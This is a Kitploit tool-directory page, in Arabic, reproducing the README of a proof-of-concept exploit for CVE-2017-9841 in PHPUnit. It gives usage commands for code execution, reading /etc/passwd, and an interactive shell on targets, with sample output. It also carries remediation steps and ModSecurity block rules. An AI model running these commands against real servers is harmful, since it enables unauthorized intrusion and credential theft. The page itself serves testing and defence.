Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — الثغرة CVE-2017-9841 هي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكتبة PHPUnit، وتؤثر على الإصدارات السابقة للإصدار 5.6.3 وإصدارات 6.x السابقة للإصدار 6.4.2. | Kitploit
أدوات/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

الثغرة CVE-2017-9841 هي ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكتبة PHPUnit، وتؤثر على الإصدارات السابقة للإصدار 5.6.3 وإصدارات 6.x السابقة للإصدار 6.4.2.

عرض المستودع
11منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-9841 — إثبات مفهوم (PoC) لتنفيذ التعليمات البرمجية عن بُعد (RCE) في PHPUnit

⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للأغراض التعليمية واختبارات الأمان المصرح بها فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذه الأداة.


نظرة عامة

CVE-2017-9841 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في مكتبة PHPUnit، وتؤثر على الإصدارات السابقة لـ 5.6.3 وجميع إصدارات 6.x السابقة لـ 6.4.2.

توجد الثغرة في src/Util/PHP/eval-stdin.php، الذي ينفّذ كود PHP المستلم عبر php://input (جسم طلب POST) باستخدام دالة eval(). إذا كان هذا الملف متاحًا للجمهور (على سبيل المثال، داخل مجلد vendor/ غير محمي)، يمكن للمهاجم تنفيذ كود PHP تعسفي على الخادم دون الحاجة إلى مصادقة.

تفاصيل الثغرة

الحقلالقيمة
معرف CVECVE-2017-9841
درجة CVSS9.8 (حرجة)
المتأثرPHPUnit < 5.6.3, 6.x < 6.4.2
النوعتنفيذ التعليمات البرمجية عن بُعد (RCE)
المصادقةغير مطلوبة
ناقل الهجومالشبكة (عن بُعد)
تاريخ النشر27 يونيو 2017
المرجعNVD

الكود القابل للاستغلال

// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

يقبل هذا الملف كود PHP من جسم طلب POST وينفّذه فورًا باستخدام eval() دون أي مصادقة أو تحقق.


التثبيت

المتطلبات

  • Python 3.6+
  • مكتبة requests
pip install requests

الإعداد

git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

الاستخدام

الصيغة الأساسية

python3 poc_cve-2017-9841.py -u <URL> [options]

يقبل الخيار -u كلاً من عنوان URL الأساسي (يضيف المسار القابل للاستغلال تلقائيًا) أو عنوان URL كامل يشير مباشرة إلى eval-stdin.php.

1. فحص الثغرة (بدون تنفيذ أوامر)

python3 poc_cve-2017-9841.py -u 'https://target.com' --check

المخرجات:

[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. تنفيذ الأوامر

# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. معلومات الخادم (للقراءة فقط)

python3 poc_cve-2017-9841.py -u 'https://target.com' --info

المخرجات:

=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. قشرة شبه تفاعلية

python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

المخرجات:

[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. العثور التلقائي على المسار القابل للاستغلال

python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. مسار مخصص

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. عنوان URL كامل إلى eval-stdin.php

python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. تنفيذ كود PHP خام

python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

مرجع الخيارات

الخيارالوصف
-u, --url URLعنوان URL أساسي للهدف أو عنوان URL كامل إلى eval-stdin.php
-c, --cmd CMDأمر CLI لتنفيذه على الخادم الهدف
--checkالتحقق مما إذا كان الهدف قابلاً للاستغلال دون تنفيذ أوامر
--shellفتح قشرة شبه تفاعلية
--infoجمع معلومات الخادم (للقراءة فقط)
--find-pathفحص المسارات الشائعة لتحديد موقع eval-stdin.php
--path PATHتحديد مسار مخصص إلى eval-stdin.php
--timeout Nمهلة الطلب بالثواني (الافتراضي: 30)
-o, --output FILEحفظ مخرجات الأمر في ملف
--php CODEتنفيذ كود PHP خام بدلاً من أوامر النظام

المعالجة

إجراءات فورية (افعل ذلك الآن)

1. احذف الملف القابل للاستغلال

sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. احظر الوصول إلى مجلد vendor

أضف ملف .htaccess داخل مجلد vendor/:

# /path/to/project/vendor/.htaccess
Deny from all

أو قم بضبطه في Apache VirtualHost:

<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

بالنسبة إلى Nginx:

location /vendor/ {
    deny all;
    return 403;
}

3. أزل اعتماديات التطوير من بيئة الإنتاج

cd /path/to/project
composer install --no-dev --optimize-autoloader

تحصين قصير المدى

4. فعّل disable_functions في php.ini

; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. فعّل open_basedir

; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. قلّل max_execution_time

max_execution_time = 30

7. أعد تشغيل PHP-FPM

sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

تحصين طويل المدى

8. قم بترقية PHPUnit

composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. طبّق قواعد WAF

مثال على ModSecurity:

SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. تحصين خط أنابيب CI/CD

# Example: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

مخطط تدفق الهجوم

تنزيل الأداة